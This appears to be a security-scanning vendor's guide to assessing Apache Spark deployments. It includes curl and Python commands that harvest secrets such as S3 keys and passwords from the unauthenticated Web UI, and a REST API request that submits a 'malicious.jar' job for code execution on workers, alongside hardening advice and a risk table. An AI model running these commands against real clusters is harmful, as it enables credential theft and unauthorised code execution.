Apache Spark is the dominant distributed computing framework for big data processing. Its default deployment exposes multiple unauthenticated interfaces: the Spark Web UI on port 4040 (per running application) shows the full environment configuration including all spark.hadoop.* properties — these commonly include fs.s3a.access.key, fs.s3a.secret.key, and database JDBC credentials in plaintext; the Spark History Server on port 18080 stores logs for all completed jobs including SQL query plans that may contain data samples; Spark's standalone cluster mode exposes a REST API on port 6066 that accepts job submissions without authentication; Spark's shuffle service on port 7337 may serve shuffle data to any requesting executor, enabling cross-job data access; and Spark's dynamic allocation feature can create executor processes on worker nodes that run arbitrary Spark tasks submitted by an attacker with standalone master access. This guide covers systematic Spark security assessment.
# Spark ports:
# 4040 — Application Web UI (per running Spark app)
# 4041+ — Subsequent apps (increments if 4040 is taken)
# 7077 — Standalone Master (Spark Submit)
# 8080 — Standalone Master Web UI
# 8081 — Standalone Worker Web UI
# 18080 — Spark History Server
# 6066 — Standalone REST API (job submission)
# Check if Spark UI is accessible (no auth required by default)
curl -s http://spark.example.com:4040/api/v1/applications 2>/dev/null | \
python3 -c "
import json,sys
apps = json.load(sys.stdin)
print(f'Running applications: {len(apps)}')
for a in apps[:5]:
print(f\" {a.get('id','?')} {a.get('name','?')}\")
" 2>/dev/null
# Extract environment variables from running application (may contain cloud credentials)
APP_ID=$(curl -s http://spark.example.com:4040/api/v1/applications 2>/dev/null | \
python3 -c "import json,sys; apps=json.load(sys.stdin); print(apps[0]['id'] if apps else '')" 2>/dev/null)
curl -s "http://spark.example.com:4040/api/v1/applications/${APP_ID}/environment" 2>/dev/null | \
python3 -c "
import json,sys
env = json.load(sys.stdin)
# Check Spark properties for credentials
spark_props = env.get('sparkProperties', [])
for k, v in spark_props:
if any(x in k.lower() for x in ['key', 'secret', 'password', 'token', 'credential']):
print(f' {k} = {v}')
# Check system properties and environment variables
sys_props = env.get('systemProperties', [])
for k, v in sys_props:
if any(x in k.upper() for x in ['AWS', 'SECRET', 'KEY', 'TOKEN', 'PASSWORD']):
print(f' ENV {k} = {v}')
" 2>/dev/null | head -20# Spark standalone REST API on port 6066 accepts job submissions without auth
# Check if standalone REST API is accessible
curl -s http://spark.example.com:6066/v1/submissions/status/driverID 2>/dev/null | \
python3 -m json.tool | head -5
# Submit a job via the REST API (executes on Spark workers as the spark OS user)
curl -s -X POST http://spark.example.com:6066/v1/submissions/create \
-H "Content-Type: application/json" \
-d '{
"appResource": "file:///path/to/malicious.jar",
"sparkProperties": {
"spark.master": "spark://spark.example.com:7077",
"spark.app.name": "test",
"spark.jars": "file:///path/to/malicious.jar",
"spark.driver.supervise": "false"
},
"clientSparkVersion": "3.x.x",
"mainClass": "com.malicious.Main",
"environmentVariables": {},
"action": "CreateSubmissionRequest",
"appArgs": []
}' 2>/dev/null | python3 -m json.tool | head -5spark.ui.filters with a custom auth filter, or place the UI behind an authenticated reverse proxyspark.master.rest.enabled=false in spark-defaults.conffs.s3a.access.key and other secrets in a Hadoop credential keystore, not spark-defaults.confspark.history.fs.cleaner.enabled=true and restrict access to the event log directoryspark.ssl.enabled=true to encrypt driver-executor and shuffle service communication| Security Test | Method | Risk |
|---|---|---|
| Web UI exposes cloud credentials in environment | GET /api/v1/applications/{id}/environment — sparkProperties show fs.s3a.secret.key etc. | Critical |
| Standalone REST API unauthenticated job submission | POST :6066/v1/submissions/create — submits JAR job executed on Spark workers | Critical |
| History Server stores job logs with data samples | Browse :18080 — SQL query plans contain sample values from processed datasets | High |
| JDBC connection strings in spark.properties | Web UI /environment — jdbc:postgresql://host/db?user=admin&password=secret visible | High |
| Shuffle service accessible without auth | Connect to :7337 — may serve shuffle blocks from other tenants' jobs | Medium |
| Worker UI exposes job details without auth | Browse :8081 per worker — lists all completed tasks and their configuration | Medium |
Ironimo tests Apache Spark deployments for Web UI credential exposure including cloud access keys and JDBC passwords in spark properties, standalone REST API accepting unauthenticated job submissions for code execution on workers, Spark History Server storing job logs with sensitive query plans and data samples, JDBC connection strings visible in the application environment page, shuffle service accessible without authentication in multi-tenant clusters, and worker Web UI exposing task configuration without access controls.
Start free scan